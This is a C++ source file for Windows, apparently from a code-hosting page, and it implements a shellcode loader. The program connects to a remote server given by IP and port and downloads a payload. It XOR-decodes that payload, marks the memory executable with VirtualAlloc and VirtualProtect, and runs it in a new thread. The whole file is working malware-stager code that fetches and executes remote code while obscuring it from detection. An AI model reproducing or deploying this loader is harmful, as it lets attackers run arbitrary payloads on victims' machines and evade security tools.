1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108
| #include <stdio.h> #include <iostream> #include <WinSock2.h> #pragma comment(lib, "ws2_32.lib") #pragma warning(disable:4996)
using namespace std;
int main(int argc, char* argv[]) { const int BUF_SIZE = 1024;
WSADATA wsd; SOCKET sHost; SOCKADDR_IN servAddr; char buf[BUF_SIZE]; char bufRecv[BUF_SIZE]; DWORD dwThreadId; HANDLE hThread; DWORD dwOldProtect;
int retVal;
if (argc <= 2) { cout << "USAGE: client.exe <Server IP> <Server PORT>" << endl; return -1; }
if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) { cout << "WSAStartup failed!" << endl; return -1; }
sHost = socket(AF_INET, SOCK_STREAM, 0); if (INVALID_SOCKET == sHost) { cout << "socket failed!" << endl; WSACleanup(); return -1; }
servAddr.sin_family = AF_INET; servAddr.sin_addr.s_addr = inet_addr(argv[1]); servAddr.sin_port = htons((short)atoi(argv[2]));
retVal = connect(sHost, (LPSOCKADDR)&servAddr, sizeof(servAddr)); if (SOCKET_ERROR == retVal) { cout << "connect failed!" << endl; closesocket(sHost); WSACleanup(); return -1; } ZeroMemory(buf, BUF_SIZE); strcpy(buf, "ok");
retVal = send(sHost, buf, strlen(buf), 0);
if (SOCKET_ERROR == retVal) { cout << "send failed!" << endl; closesocket(sHost); WSACleanup(); return -1; } cout << "Starting Download Payload" << endl; ZeroMemory(bufRecv, BUF_SIZE); Sleep(2000);
recv(sHost, bufRecv, BUF_SIZE, 0);
Sleep(4000); closesocket(sHost); WSACleanup(); for (int i = 0; i < sizeof(bufRecv); i++) { _InterlockedXor8(bufRecv + i, 0x97); } cout << "加载shellcode中" << endl;
char* shellcode = (char*)VirtualAlloc( NULL, BUF_SIZE, MEM_COMMIT, PAGE_READWRITE );
CopyMemory(shellcode, bufRecv, BUF_SIZE); VirtualProtect(shellcode, BUF_SIZE, PAGE_EXECUTE, &dwOldProtect);
hThread = CreateThread( NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadId );
WaitForSingleObject(hThread, INFINITE); return 0; }
|